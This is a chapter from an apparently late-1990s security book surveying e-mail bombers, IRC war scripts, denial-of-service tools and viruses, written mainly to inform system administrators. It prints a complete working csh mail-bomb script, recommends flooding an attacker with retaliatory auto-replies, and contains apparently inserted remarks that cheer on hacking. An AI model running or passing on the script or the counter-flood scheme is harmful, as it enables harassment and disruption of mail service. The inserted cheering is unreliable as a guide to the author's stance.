Here I examine munitions that I classify as destructive devices. Destructive devices are software programs or techniques that accomplish either of the following objectives:
Harassment
Destruction of data
These devices are all relatively low-level tools and techniques, more
likely to be employed by
immature users, disgruntled employees, or kids. Such tools and techniques
exist, to the chagrin of the serious computing communities, but they exist
nonetheless. It is important that new system
administrators (and indeed, average users) know about such destructive
devices, so I have included them here even though they are not front-line
security issues for most networks.
The use of these devices is becoming widespread. With the rise of the
GUI (and the increased
availability of programming tools and languages to the general populace),
this trend can only be
expected to continue.
NOTE: The average high school student now has
access to C, C++, Pascal, BASIC,
and so on. School policies are usually very
strict about students copying such software,
but most youngsters pay little attention.
I have a friend in Los Angeles who has
built an enormous collection of programming
tools. He obtained all those programs at
his high school. (Young college students get
these software products legally, perhaps,
but at the greatly reduced rate for educational
institutions. Therefore, they have ready
access, irrespective of how they acquire such
tools.)
It should be noted that destructive devices can be a security risk for small networks or single servers. If your box is hooked up via Ethernet with a fast connection and you have only one mail server, an e-mail bomb attack on one of your users could temporarily grind your machine to a halt.
I have chosen to highlight four key utilities within the destructive device class:
E-mail bombs and list linking
Flash bombs and war scripts
Denial-of-service tools
Viruses
Of these items, only the last two (denial-of-service tools and viruses)
are of any real consequence.
They have the potential for real damage or, equally dangerous, serious
breach of a server's security. (These are discussed in the last half of
this chapter.) The first two, in contrast, have been briefly dealt with
in previous chapters. Here, I take a more comprehensive look at these innocuous
but irritating
tidbits.
The E-mail Bomb
I cannot say for certain when the first user "e-mail bombed" another.
However, I imagine it wasn't
long after e-mail became available. (Old-timers adamantly dispute this,
explaining that they were far too responsible for such primitive activity.
Hmmm.) In any event, in this section you will find the key utilities being
distributed for this purpose.
Up Yours
The Up Yours mail-bombing program is probably the most popular bomber
out there. It uses
minimal resources, does a superb job, has a simple user interface,
and attempts to obscure the
attacker's source address. Features of the program include being able
to specify times of day to start and stop as well as the number of messages
with which it will hammer the target.
Version 2.0 of this utility was released sometime in March 1997. This
bomber runs only on the
Microsoft Windows platform. As you might expect, the tech support is
wanting, but the program is free nonetheless. If you are a system administrator,
you will want to scan your local drives for the
following files:
upyours.exe
upyours2.zip
upyours3.zip
If these files appear in a user's directory, there is a strong likelihood that he is about to e-mail bomb someone (of course, perhaps he simply spends his time collecting hacking and cracking programs). In any event, the utility is hard to find. If one of your users has acquired this program, he clearly has an interest in hacking or cracking.(good for him!!!!!)
KaBoom
KaBoom differs significantly from Up Yours. For one thing, KaBoom has
increased functionality.
For example, traveling from the opening screen to the main program,
you find a
utility to list link. Using this function, you can subscribe your target
to hundreds of e-mail lists.
NOTE: List linking is a rather insidious activity
and a not-so-subtle form of
harassment. It works like this: On the Internet
are mail servers that distribute mail
messages collected from various sources. These
messages invariably concentrate on a
special-interest subject (the subject of security,
for example). These mail servers
(sometimes called list servers) collect such
messages and mail them to members of the
list on a daily, weekly, or monthly basis.
Members can subscribe to such a list in
several ways, though most commonly through
e-mail. When I say that a target has been
list-linked, I mean the target has been subscribed
(without his consent) to one or more
mailing lists. This is usually done with a
tool like KaBoom. Such tools submit
registration requests on behalf of the victim,
forging his e-mail address.
This utility works quite well, but the interface is poorly programmed.
(For example, the main list
window presents the lists as selectable from check boxes. This is shoddy
work. The programmer
could have saved time and space by running them through a list box
instead. It takes a lot of work
using this utility to link the target to any significant number of
lists; the bombing party is forced to
scroll down to obtain more lists.)
In any event, this utility's signature files are these:
kaboom!3.zip
kaboom3.exe
Avalanche
The Avalanche e-mail bombing utility works smoothly and is well designed.
As it shows a
list of groups are displayed in a drop-down combo box, and their
individual lists are displayed
in a list box. Three clicks of a mouse and your target is in hot water.
TIP: The programmer here was a bit absentminded.
The program was written at least
in part in Microsoft Visual Basic 4.0. As
such, there are a series of DLL files that are
required to run the application. These are
missing from the general distribution of this
utility; therefore, serious bombers must go
out onto the Internet to retrieve those files
(one is OC2.DLL). Because of this, I would
estimate that Avalanche is probably used
less than its counterparts, even though its
overall design is superior. Inconvenience
discourages most users of this particular
ilk. This is so typical behavior of wanna be hackers
or newbies, this is why that really destructive
tools are normally not used by newbies but by
lamers or crackers who's sole purpose in life
is to destroy everythign they can get their hands
on.
The signature files for this product are
alanch10.zip
avalanche20.zip
avalanche.exe
Unabomber
The Unabomber utility is a rudimentary tool, but one must give the author
credit for humor. As you
can see in Figure 14.4, Unabomber offers no list-linking capabilities.
It is essentially a flat e-mail
bomber and does no more than send messages over and over. One interesting
element is that
Unabomber comes with a help function. (As though you would actually
need it.)
Figure 14.4.
The Unabomber.
The signature files for this utility are
unabomb.zip
unabomb.exe
eXtreme Mail
eXtreme Mail is well programmed. It has all the basic features of a commercial application, including an interactive installation process. The installation process performs all the routine checks for disk space, resources, and so forth. It also observes proper registry conventions and is easily uninstalled. This is a relatively new mail bomber, and apparently, the name eXtreme is also the name of the group that produced the software. Figure 14.5 shows eXtreme Mail's main page.
Figure 14.5.
eXtreme Mail.
The signature files for this product are
xmailb1.zip
xmailb1.exe
Homicide
The Homicide utility was written by a youngster with the moniker Frys
and was discontinued in
1996. The author claims that he wrote the utility because Up Yours
2.0 was inadequate as an e-mail bombing tool. However, with the release
of Up Yours 3.0, Frys apparently decided to discontinue any further releases.
As of March 1997, it is available only at a very few select sites. The
signature files for this utility are
homicide.zip
homicide.exe
The UNIX MailBomb
This UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous
cracker out in the
void. The programming is so-so. In fact, the author made no provisions
in the event that the
originating server has restrictions on multiple processes. (Perhaps
a sleep call would have been
wise.) The signature file on this one is mailbomb.csh.
#!/bin/csh
# Anonymous Mailbomber
# do chmod u+rwx <filename> where filename is the name of the file
that
# you saved it as.
#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED
# "teltemp"
# IN THE DIRECTORY IT IS RUN FROM ****
clear
echo -n "What is the name or address of the smtp server ?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo somewhere.com >> teltemp
#The entry for the following should be a single name (goober),
#not goober@internet.address.
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp
echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp
echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1
while ($loop_count <= $amount)
echo "Done $loop_count"
ftp -n $server 25 < teltemp
@ loop_count++
end
rm ./teltemp
echo $amount e-mails complete to $name from $from@$server
# --------------------
# MailBomb by CyBerGoAT
Bombtrack
The Bombtrack utility is reportedly the first mail-bombing tool written
for the Macintosh platform.
(This is of some significance. Programming a garden-variety utility
like this on the Microsoft
Windows platform is simple, and can be accomplished almost entirely
with a visual design interface.
Very little code needs to go into it. Writing for the Mac platform,
however, is a slightly different
affair.)
Basically, Bombtrack is another run-of-the-mill bombing utility, widely
available at hacker sites
across the Internet. The signature file for this application is
bombtrack.bin
FlameThrower
FlameThrower is a bombing utility written for Macintosh. Its main purpose is list linking; it allows the user to subscribe his target to 100 lists. The binary is quite large, considering its intended purpose. The author should get some credit for style of design, but Macintosh users are fairly stylish as a rule. The signature for this file is
flamethrower10b.sit.bin
General Information About E-Mail Bombs
E-mail bombing is nothing more than nuisance material. The cure is generally
a kill file or an
exclusionary scheme. An exclusionary scheme is where you bar entry
of packets received from the source address. As discussed in Chapter 13,
"Techniques to Hide One's Identity," obtaining the
source address is a fairly simple process, at least in a UNIX environment.
Really, it involves no more than reading the message in Mail as opposed
to Pine or Elm; this will reveal the actual source address and expand the
path. Examining the complete path (even in Netscape Navigator, for
example) will give you the originating mail server.
If you maintain a site and malicious users from the void start bombing you, contact their postmaster. This is usually quite effective; the user will be counseled that this behavior is unnecessary and that it will not be tolerated. In most cases, this proves to be a sufficient deterrent. (Some providers are even harsh enough to terminate the account then and there.) However, if you are faced with a more difficult situation (for example, the ISP couldn't care less if its users bombed the Internet collectively), you might have to take more aggressive measures.
One such measure is to block traffic from the originating network at
the router level. (There are
various packet-filtering techniques that you can apply.) However, if
this doesn't suit your needs (or
your temperament), there are other, more proactive solutions. One fine
technique that's guaranteed to work is this: Fashion a script that catches
the offending e-mail address each time it connects to
your mail server. For each such connection request, terminate the connection
and autorespond with a polite, 10-page advisory on how such attacks violate
acceptable use policies and that, under certain circumstances, they may
violate the law. After the offending party has received 1,000 or so
returns of this nature, his previously unconcerned provider will bring
the offender onto the carpet and promptly chop off his fingers.
There are renegade providers around, and there is absolutely no reason
that you cannot undertake
such action. After all, you have done no more than refuse the connection
and issue an advisory. It is hardly your fault if the warning was not heeded.
Notwithstanding various pieces of legislation to bring the Internet into
the civilized world, it is still much like the Old West. If another provider
refuses to abide by the law and generally accepted practices, take it down
to the OK Corral. One last point here: To make this technique especially
effective, be sure to CC the postmaster of the bomber's site with each
autorespond message.
NOTE: These aggressive techniques can only
be implemented in the event of a
garden-variety mail-bombing situation. This
will not work for list linking because list
linking is a process that obscures the true
origin address of the attacker. The only way
to obtain that address if is the list owner
(whoever is responsible for the mailing list
server) runs logging utilities and actually
keeps those logs.
For example, suppose the list accepts subscription
requests from a Web page. It can
easily obtain the address by checking the
HTTP server connection log (this file is
normally called access.log). HTTP servers
record the originating IP address of each
connection. However, the large majority of
lists do not accept subscription requests
through their Web pages. Instead, they use
garden-variety mail. The percentage of
system administrators who heavily log connection
requests to their mail server is fairly
small. Moreover, to trace the attacker, you
would need help from more than just the
system administrator at the mail list site;
suppose the attacker was using a dial-up
connection with a dynamically allocated IP
address. After you acquire that IP from the
mail-list system administrator, you must convince
the attacker's ISP to cooperate by
forwarding its logs to you.
Furthermore, unless the attacker's ISP is running
good logging utilities, the logs you
receive will only demonstrate a list of possible
suspects (the users who were logged to
that IP or dial-up at the hour of the attack).
Even more research may be required. For
this reason, list linking has become far more
popular than run-of-the-mill mail bombing.
IRC: Flash Bombs and War Scripts
Flash utilities (also referred to as flash bombs) belong to a class
of munitions that are used on
Internet Relay Chat (IRC). IRC is the last free frontier because it
is spontaneous and uncontrollable. It consists of people chatting endlessly,
from virtual channel to virtual channel. There is no time for advertisements,
really, and even if you tried to push your product there, you would likely
be blown off the channel before you had a chance to say much of anything.
In this respect, IRC is different from any other networked service on the Internet. IRC is grass roots and revolutionary Internet at its best (and worst), and with all likelihood, it will remain that way forever.
IRC was developed in Finland in the late 1980s. Some suggest that its purpose was to replace other networking tools of a similar ilk (for example, the talk service in UNIX). Talk is a system whereby two individuals can communicate on text-based terminals. The screens of both users split into two parts, one for received text and one for sent text. In this respect, talk operates a lot like a direct link between machines using any of the popular communications packages available on the market (Qmodem and ProComm Plus are good examples). The major difference is that talk occurs over the Internet; the connection is bound by e-mail address. For example, to converse with another party via talk, you issue a command as follows:
talk person@provider.com
This causes the local talk program to contact the remote talk daemon. If the person is available (and hasn't disabled incoming connections via talk), the screen soon splits and the conversation begins.
IRC differs from talk in that many people can converse at the same time.
This was a major
innovation, and IRC chatting has become one of the most popular methods
of communication on the Net.
NOTE: IRC is one of the few places on the Internet
where an individual can
successfully evade even advanced detection
techniques. For instance, many software
pirates and crackers frequent IRC. If they
are extremely paranoid, they change servers
and screen names every half hour or so. Moreover,
they often create their own
channels instead of frequenting those already
available. Finally, file transfers can be
done over IRC, directly from point A to point
B. No record is left of such a transfer.
This differs from other types of transfers
that may be closely logged. Similar types of
transfers can also be made if at least one
of the parties is running servers such as FTP,
HTTP, or Gopher. However, IRC allows such
a transfer without server software
running on either box.
Internet warfare (that is, "hand-to-hand" combat) often occurs on IRC
because IRC is lawless--a
place where almost anything goes. Briefly, it works like this: Once
connected to an IRC server, a
user can go into a series of channels called chat spaces. Inside each
channel, there is an operator,
or a person who has some authority--authority, for example, to "kick"
any user forwarding
information that the operator deems objectionable. (Kicking is where
the target is bumped from the channel and is forced to reconnect.) The
operator can also ban a user from the channel, either
temporarily or semi-permanently.
NOTE: The first person to connect to (or create)
an empty channel is automatically the
operator by default. Unless he voluntarily
relinquishes that authority, he has complete
control of the channel and can institute kick
or ban actions against anyone who
subsequently joins the channel.
As you might expect, people who get kicked or banned often respond angrily. This is where combat begins. Since the introduction of IRC, dozens of munitions have been developed for use in IRC combat. They are described in the following sections.
crash.irc
Although not originally designed for it, crash.irc will blow a Netcom
target out of IRC. In other
words, an attacker uses this utility to force a Netcom user from a
channel (Netcom is a very large
ISP located in northern California).
botkill2.irc
The botkill2.irc script kills bots. Bots are other automated scripts
that run in the IRC
environment.
ACME
ACME is a typical "war" script. Its features include flooding (where
you fill the channel with garbage, thereby denying others the ability to
communicate) and the ability to auto-kick someone from a channel.
NOTE: Flooding can deny other users access
simply because of the volume of text run
through the server. It works like this: The
attacker unleashes a flooding utility that
generates many, many lines of text. This text
is printed across the terminals of all users
currently logged to the channel. Because this
text saturates the write-ahead buffer of all
client programs, the victims must wait for
the flood to stop before they can type any
further messages. Interestingly, many flood
scripts actually fashion images from various
text characters. If you watch such a flood
for a moment, you will see some type of
image develop. This activity is similar to
ASCII art, which is now a popular form of
artistic expression on text-based terminals
that cannot display actual graphics. Of
course, flooding is very irritating and therefore,
few users are willing to tolerate it, even
if the art that results is attractive.
Saga
Saga is a sophisticated and complex script; it performs more functions
than those used in combat.
The main features are that it can
Kick and ban a target, for either a specified time period or 30-90 seconds
Strip an operator of his authoritative status
Screen out all users from a given domain
Blow all users from the channel
Enter a channel and kill all operators (this is called takeover mode)
THUGS
THUGS is another war script. It blows various client programs from IRC,
kicks unwanted users,
seizes control of a channel, and hangs at least one known Windows IRC
program.
The 7th Sphere
Another war script worth mentioning is The 7th Sphere. The help file
describes the utility as "An
Equal Opportunity Destroyer." Here are some of its capabilities:
Blow everyone from a channel
Incisive user flooding (selectively flood only
one or more users as opposed to the entire
channel)
Colliding capabilities (the capability to cause
a collision of nicknames on IRC servers, thereby
knocking a user with an identical nickname
from IRC)
Armor (prevents you from falling victim to another war script)
Nuke facility (enables you to attack and successfully
disable those using Windows IRC
clients)
Built-in port scanner
There are probably several thousand IRC scripts in the void. I have
not offered any locations for
these utilities because there is no good reason to provide such information.
These tools may be of
some limited value if you happen to be on IRC and come under attack,
but more often, these tools
are used to harass others and deny others IRC service. It is amazing
how much good programming effort goes into utilities like these. Too bad.
Additional Resources
Following are some resources related to Internet Relay Chat (IRC). These are especially valuable if you are new to IRC. I have provided these primarily because IRC is not a subject often discussed in books on the Internet. IRC has been--and will likely remain--the purview of crackers and hackers all over the world.
The IRC Survival Guide: Talk to the World With
Internet Relay Chat. Peachpit Press.
Stuart Harris. ISBN 0-201-41000-1. 1995.
Learn Internet Relay Chat (Learn Series). Wordware
Publishing. Kathryn Toyer. ISBN
1-55622-519-9. 1996.
Person to Person on the Internet. AP Professional.
Keith Blanton and Diane Reiner. ISBN
0-12-104245-6. 1996.
Interactive Internet: The Insider's Guide to
Muds, Moos, and IRC. Prima Publishing.
William J. Shefski and Bill Shefski. ISBN
1-55958-748-2. 1995.
Using Internet Relay Chat. Que. ISBN 0-7897-0020-4. 1995.
Sunsite, Europe. Comprehensive collection of clients and other software.
http://sunsite.doc.ic.ac.uk/computing/comms/irc/
Interactive Synchronous: IRC World. E-Lecture on IRC.
http://www-home.calumet.yorku.ca/pkelly/www/synch.htm
Denial-of-Service Tools
I examine denial-of-service attacks in a more comprehensive manner at several points throughout the remainder of this book. Here, I will refrain from discussing how such attacks are implemented, but will tell you what tools are out there to do so.
Ancient Chinese "Ping of Death" Technique
The title is hilarious, right? On more than one occasion, this technique
for killing a Windows NT 3.51 server has been so called. (Actually, it
is more commonly called just "Ping of Death.") This is not a program, but
a simple technique that involves sending abnormally large ping packets.
When the target receives (or in certain instances, sends) these large
packets, it dies. This results in a blue
screen with error messages from which the machine does not recover.
Microsoft has issued a fix for this.
Cross Reference: Read the official advisory
on the Ping of Death at
http://www.microsoft.com/kb/articles/q132/4/70.htm.
Syn_Flooder
Syn_Flooder is a small utility, distributed in C source, that when used
against a UNIX server will
temporarily render that server inoperable. It utilizes a standard technique
of flooding the machine
with half-open connection requests. The source is available on the
Net, but I will refrain from printing it here. This is a powerful tool
and, other than its research value, it is of no benefit to the Internet
community. Using such a tool is, by the way, a violation of federal law,
punishable by a term of imprisonment. The utility runs on any UNIX machine,
but was written on the Linux platform by a well-known hacker in California.
DNSKiller
DNSKiller is a C program written and intended for execution on the Linux platform. It is designed to kill the DNS server of a Windows NT 4.0 box.
arnudp100.c
arnudp100.c is a program that forges the IP address of UDP packets and
can be used to
implement a denial-of-service attack on UDP ports 7, 13, 19, and 37.
To understand the attack, I
recommend examining a paper titled "Defining Strategies to Protect
Against UDP Diagnostic Port
Denial of Service Attacks," by Cisco Systems. Another good source for
this information is CERT
Advisory CA-96.01.
Cross Reference: Cisco Systems' "Defining Strategies
to Protect Against UDP
Diagnostic Port Denial of Service Attacks"
can be found online at
http://cio.cisco.com/warp/public/707/3.html.
CERT Advisory CA-96.01 can be found online
at
ftp://ftp.cert.org/pub/cert_advisories/CA-96.01.UDP_service_denial.
cbcb.c
cbcb.c is the filename for Cancelbot, written in C. This utility can
be used to target Usenet news
postings of others. It generates cancel control messages for each message
fitting your criteria. Using this utility, you can make thousands of Usenet
news messages disappear. Although this is not traditionally viewed as a
denial-of-service attack, I have included it here simply because it denies
the target Usenet service, or more directly, denies him his right to self
expression. (No matter how
obnoxious his opinion might seem to others.)
win95ping.c
The win95ping.c file is C source code and a program to reproduce and
implement a form of the
Ping of Death attack from a UNIX box. It can be used to blow a machine
off the Net temporarily
(using the oversized Ping packet technique). There are two versions:
one for Linux, the other for
BSD 4.4 systems.
Other resources exist, but most of them are shell scripts written for
use on the UNIX platform.
Nevertheless, I would expect that within a few months, tools programmed
in GUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks
are infantile and represent only a slightly higher level of sophistication
than e-mail bombing. The only benefit that comes from DoS attacks is that
they will ultimately provide sufficient incentive for the programming community
to completely
eliminate the holes that allowed such attacks in the first place. In
all other respects, denial-of-service attacks are neither interesting nor
particularly clever. In any event, the following sections list some resources
for them.
ANS Communications
Products by ANS Communications are designed to thwart DoS attacks. ANS Communications can be found online at
http://www.ans.net/InterLock/
Berkeley Software Design, Inc.
Berkeley Software Design, Inc. released source code that will defeat a DoS attack. It can be found online at
http://www.bsdi.com/press/19961002.html
MCI Security
MCI Security offers links relating to denial-of-service attacks, and can be found online at
http://www.security.mci.net/dosalert.html
Digital
Digital offers information on preventing DoS on the DEC platform, and can be found online at
http://www.europe.digital.com/info/internet/document/ias/avoidtcpsynattack.html
Cisco Systems
Cisco Systems offers solutions at the router level, and can be found online at
http://www.cisco.com/
Viruses
Viruses are serious matters. For such small entities, they can wreak
havoc on a computer system.
(Some viruses are as small as 380 bytes.) They are especially dangerous
when released into
networked environments (the Internet being one such environment).
Viruses have gained so much attention in the computing community that nearly everyone knows that viruses exist. However, some users confuse viruses with other malicious files. Therefore, I thought it might be nice to quickly define the term computer virus. Once again, if you are already well aware of these basic facts, skip ahead a few paragraphs.
A computer virus is a program, sometimes (but not necessarily) destructive, that is designed to travel from machine to machine, "infecting" each one along the way. This infection usually involves the virus attaching itself to other files.
This is markedly different from a trojan horse. A trojan horse is a static entity: malicious code nested within an otherwise harmless program. Trojans cannot travel from machine to machine unless the file that contains the trojan also travels with it. A trojan is commonly a string of computer code that has been surreptitiously placed within a trusted application. That code performs an unauthorized and hidden function, one that the user would almost certainly find objectionable. (For example, mailing out the password files to an attacker in the void, or perhaps opening a back door for him. A back door is some hidden method through which an attacker can later return to the affected machine and gain control over it.)
Viruses, in contrast, replicate. Most often, this phenomenon manifests
itself by the virus attaching
itself to a certain class of file. For example, it is very common for
viruses to attach themselves to
executable files. (On the DOS/Windows platform, viruses frequently
target EXE and COM files.)
Once the virus is attached to a file in this manner, the victim file
itself becomes a security risk. That
file, when transported to another computer system, can infect still
other files that may never come in contact with the original virus program.
TIP: Note that data file viruses now exist.
At least, macro viruses should (and usually
are) classified under this heading. These
viruses infect data files, namely documents.
These are almost nonexistent, save in the
Microsoft Word and Excel environments.
Try to think of a virus as a living creature for a moment. Its purpose
is to infect computer systems, so it stays awake at all times, listening
for activity on the system. When that activity fits a certain
criterion (for example, an executable file executing), the virus jumps
into action, attaching itself to the active program.
TIP: One way to tell whether a file is infected
is to check its current size against the
size it was when you installed it. (I wouldn't
recommend using this as a method of
identifying infected files, but if you find
such a file using a virus checker, note the size.
When you match it against the original size
of the file, you will see that the file is now
larger.) By subtracting the size of the virus
from the file's size, you will be left with the
approximate original size of the file (before
it was infected).
If you have ever encountered a virus, you might have noticed that they
are incredibly small (that is,
for a program that can do so much). There is a good reason for this.
Most viruses are written in a
language called assembly language. Assembly language is classified
in the computing community as
a low-level language, meaning that it produces very small programs.
To understand what I mean by "low-level," consider this: Computers have
become quite user
friendly. Today, advanced technologies allow a user to almost "talk"
to a machine and get suitable
answers. (Consider, for example, the new Answer wizards in Microsoft
products. You can basically type out a question in plain English. The internal
program routines parse your question and search the database, and out comes
the answer.) This is quite a parlor trick, and gives the illusion that
the machine is conversing with you.
In reality, computers speak a language all their own. It is called machine
language, and it consists
of numbers and code that are unreadable by a human being. The classification
of a "low" or "high"
language depends solely on how close (or how far) that language is
from machine language. A high- or medium-level language is one that involves
the use of plain English and math, expressed much in the same manner as
you might present it to a human being. BASIC, Pascal, and the C programming
language all fit into the medium-level class of language: You can "tell"
the machine what each function is, what it does, and how it does it.
Assembly language is only one step removed from machine language and
is therefore a very
low-level language. And, because it speaks so directly to the machine's
hardware, the resulting
programs are very small. (In other words, the translation process is
minimal. This is greatly different from C, where substantial translation
must occur to get the plain English into machine-readable code. The less
translation that has to be done, the smaller the binary that results.)
Cross Reference: If you want to learn more
about Assembly Language, there is an
excellent page on the Web that sports a search
engine through which you can incisively
search terms, functions and definitions. That
site is
http://udgftp.cencar.udg.mx/ingles/tutor/Assembler.html.
Programs written in assembly language execute with great speed, often many times faster than those written in higher-level languages. So, viruses are small, fast, and, to users who are unprepared, difficult to detect.
There are many different types of viruses, but one of the most critical is the boot sector virus. To get you started on understanding how viruses work, I have picked the boot sector virus as a model.
Many users are unaware of how their hard disk drive works in conjunction
with the rest of the
system. I want to explore that process for just a moment. Please examine
Figure 14.6.
Figure 14.6.
Location of the master boot record.
Hard disks drives rely upon data stored in the master boot record (MBR)
to perform basic boot
procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or,
Logical Block Address 0.
LBA methods of addressing vary slightly from conventional addressing;
Sector 1=LBA 0.)
For such a small area of the disk, the MBR performs a vital function:
It explains the characteristics of the disk to every other program that
happens by. To do this, it stores information regarding the
structure of the disk. This information is referred to as the partition
table.
NOTE: If this sounds confusing, think about
when you partition a disk. DOS/Windows
users do this using a program called FDISK.EXE.
UNIX users also have several similar
utilities, including fdisk, cfdisk, and so
on. Before partitioning a disk, it is customary
to examine the partition table data. (At least,
you will if you want to be safe!) These
programs read the partition information from
the MBR partition table. This information
characteristically tells you how many partitions
there are, their size, and so forth.
(UNIX users will even see the type of partition.
DOS/Windows users cannot identify
partitions not commonly used on the AT platform.
Whenever these are present, the
type is listed as UNKNOWN.)
When a machine boots up, it proceeds, assuming that the CMOS settings are correct. These values are read and double-checked. If it finds that the default boot disk is actually 1GB when the BIOS settings suggest 500MB, there will be a problem. (The machine will not boot, and an error message will be generated.) Similarly, the RAM is tested for bad memory addresses. Eventually, when no errors have been encountered, the actual boot process begins. At that stage, the MBR takes the helm and the disk boots. When the boot sector has been infected by a virus, a critical situation develops.
As explained by the specialists at McAfee, the leading virus protection vendor:
Master Boot Record/Boot Sector (MBR/BS) infectors
are those viruses that infect the MBR
and/or boot sector of hard drives and the
boot sector of floppy diskettes. These viruses are
the most successful viruses in the world.
This is because they are fairly simple to write, they
take control of the machine at a very low
level, and are often "stealthy." Eighty percent of the
calls McAfee Support receives are on this
type of virus.
Cross Reference: The previous paragraph is
excerpted from an article titled "Top
Master Boot Record/Boot Sector Infecting Viruses,"
produced by McAfee
Associates. This paper can be found online
at
http://www.mcafee.com/support/techdocs/vinfo/1101.html.
MBR viruses are particularly insidious because they attack floppy disks whenever they are accessed by your machine. It is for this reason that MBR viruses are so commonly seen in the wild--because they infect floppies, they can travel from machine to machine fairly easily.
In any event, assume for the moment that you have a "clean" MBR. How
does a virus manage to
infect it? The infection process happens when you boot with an infected
floppy diskette. Consider
this situation: You decide that you are going to load a new operating
system onto the drive. To do
this, you use a boot floppy. (This boot floppy will contain a small
boot routine that guides you
through the installation.) Fine. Take a look at Figure 14.7.
Figure 14.7.
The infection illustrated.
During the boot process, the virus loads itself into memory, although
generally not the upper
memory. In fact, very few viruses are known to reside in upper memory.
When one does, it is
usually because it has piggybacked its way there; in other words, it
has attached itself to an
executable or a driver that always loads high. This is rare.
Once loaded into memory, the virus reads the MBR partition information.
In some cases, the virus
programmer has added a routine that will check for previous infection
of the MBR. It checks for
infection not only by his own virus, but by someone else's as well.
This procedure is usually limited in scope, because the programmer wants
to save resources. A virus that could check for many other viruses before
installing would characteristically be larger, more easily detected, less
easily
transmitted, and so forth. In any event, the virus then replaces the
MBR information with its own,
modified version. The installation procedure is complete.
NOTE: The majority of boot sector viruses also
contain some provision for storing the
original MBR elsewhere on the drive. There
is a good reason for this. It isn't because
the virus programmer is a nice person and
intends to eventually return the MBR to its
original state. Rather, it is because he has
to. Many important functions require that the
MBR be read on initialization. Typically,
a virus will keep a copy of the original and
offer it up whenever other processes request
it. In this way, the virus remains hidden
because these functions are never alerted
to the fact that the MBR was in any way
altered. Sneaky, right? When this technique
is used correctly, it is referred to as
stealth.
I have personal experience with just such a virus, called antiexe. A
friend came to my office so I
could assist him in preparing a presentation. He brought with him a
small laptop that had been used at his company. Apparently, one of the
employees had been playing a game on the laptop that
required a boot disk. (Some games have strange memory-management routines
that are not
compatible with various user configurations. These typically request
that you generate a boot disk
and undertake other annoying procedures.) Through a series of unfortunate
events, this virus was
transferred from that laptop to one of my machines. The curious thing
is this: I did have a
terminate-and-stay-resident (TSR) virus checker installed on the infected
machine. This was a
well-known product, but I will not mention its name here lest I cause
a panic. For some inexplicable reason, the TSR virus checker did not catch
antiexe when it infected my MBR, but only after the machine was rebooted
a day or so later. At any rate, I woke to find that my machine had been
infected. Antiexe is described in the CIAC database as follows:
The virus hides in the boot sector of a floppy
disk and moves the actual boot sector to cyl: 0,
side: 1, sector: 15. On the hard disk, the
virus infects the partition table, the actual partition
table is on cyl: 0, side: 0, sector: 13. These
are normally unused sectors, so disk data is not
compromised by the virus insertion. The virus
uses stealth methods to intercept disk accesses
for the partition table and replaces them
with the actual partition table instead of the virus
code. You must boot a system without the virus
in memory to see the actual virus code.
It was no problem to eliminate the virus. The same product that initially
failed to detect antiexe
destroyed it without event. The time I lost as a result was minimal.
Most viruses do not actually destroy data; they simply infect disks or files. There are, however, many occasions on which infection alone is enough to disrupt service; for example, some drivers operate erratically when infected. This is not to say, however, that there are no destructive viruses.
Who writes viruses? Many different types of programmers from many different
walks of life. Kids
are a common source. There are kits floating around on the Internet
that will assist budding
programmers in creating viruses. It has been theorized that young people
sometimes write viruses to "make their mark" on the computing communities.
Because these young people do not actually work in computer programming,
they figure that writing a virus is one way to make a name for themselves.
(A good percentage of virus authors take a pseudonym or "handle" and write
under that. This moniker is sometimes found within the code of the virus.)
Cross Reference: There is a fascinating paper
on the Internet regarding the rise of
virus- development groups in Eastern Europe
that describes how the virus took these
programming communities by storm. Ultimately,
bulletin board systems were
established where virus authors could exchange
code and ideas. The paper is extremely
thorough and makes for absorbing reading,
giving a bird's eye view of virus
development in a noncapitalist environment.
It is called "The Bulgarian and Soviet Virus
Factories"; it was written by Vesselin Bontchev,
Director of the Laboratory of
Computer Virology at the Bulgarian Academy
of Sciences in Sofia, Bulgaria. The
paper can be found at http://www.drsolomon.com/ftp/papers/factory.txt.
One interesting aspect of the virus-writing community is that vanity,
envy, and fierce competition
often influence the way such viruses are written. For example:
Some computer viruses are designed to work
not only in a "virgin" environment of infectable
programs, but also on systems that include
anti-virus software and even other computer
viruses. In order to survive successfully
in such environments, those viruses contain
mechanisms to disable and/or remove the said
anti-virus programs and "competitor" viruses.
Examples for such viruses in the IBM PC environment
are Den_Zuko (removes the Brain
virus and replaces it with itself), Yankee_Doodle
(the newer versions are able to locate the
older ones and "upgrade" the infected files
by removing the older version of the virus and
replacing it with the newer one), Neuroquila
(disables several anti-virus programs), and
several other viruses.
Cross Reference: The preceding paragraph is
excerpted from an article by Vesselin
Bontchev (a research associate at the Virus
Test Center at the University of Hamburg)
titled "Are `Good' Computer Viruses Still
a Bad Idea?" This paper can be found online
at http://www.virusbtn.com/OtherPapers/GoodVir/.
As I have already noted, many programmers develop viruses using virus
kits, or applications that
are designed specifically to generate virus code. These kits are circulated
on the Internet. Here are
the names of a few:
Virus Creation Laboratories
Virus Factory
Virus Creation 2000
Virus Construction Set
The Windows Virus Engine
These kits are usually quite easy to use, thereby allowing almost anyone
to create a virus. (This is in contrast to the "old days," when advanced
programming knowledge was required.) This has resulted in an increase in
viruses in the wild.
NOTE: A virus is deemed in the wild when it
has escaped or been released into the
general population. That is, the wild refers
to any computing environment outside the
academic or development environment where
the virus was created and tested. This
term is purportedly derived from lingo used
in reference to environments where
biological warfare experiments are conducted.
These studies are typically conducted
under controlled circumstances, where no danger
is posed to the surrounding
communities. However, when a biological virus
escapes its controlled environment, it is
deemed to have entered the wild. Today, computer
virus researchers refer to the
Internet (or any publicly accessible computing
environment) as the wild.
Reportedly, the first virus ever detected in the wild emerged in 1986.
It was called the Brain virus.
According to the CIAC Virus Database at the U.S. Department of Energy,
the Brain virus was a
memory-resident boot sector virus:
This virus only infects the boot sectors of
360 KB floppy disks. It does no malicious damage,
but bugs in the virus code can cause loss
of data by scrambling data on diskette files or by
scrambling the File Allocation Table. It does
